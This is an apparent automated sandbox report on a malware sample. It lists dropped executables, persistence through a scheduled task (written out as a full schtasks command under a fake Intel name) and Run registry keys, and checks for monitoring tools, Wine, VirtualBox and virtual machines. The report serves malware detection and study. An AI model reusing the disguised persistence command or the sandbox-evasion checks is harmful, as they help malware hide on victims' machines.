Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	File created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019527001\ed15fdf974.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	File created: C:\Program Files\Windows Media Player\graph\graph.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	Window searched: window name: Regmonclass

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Graph
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Graph
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Registry value created or modified: HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run Graph
Source: C:\Users\user\AppData\Local\Temp\1019524001\6eea3e30e9.exe	Registry value created or modified: HKEY_USERS.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run Graph

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019523001\abcebc1047.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019525001\8aec52a3fa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-36699
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-12148
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_1-9711

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019522001\0516ff61af.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019526001\1b73492cb0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: PROCMON.EXE
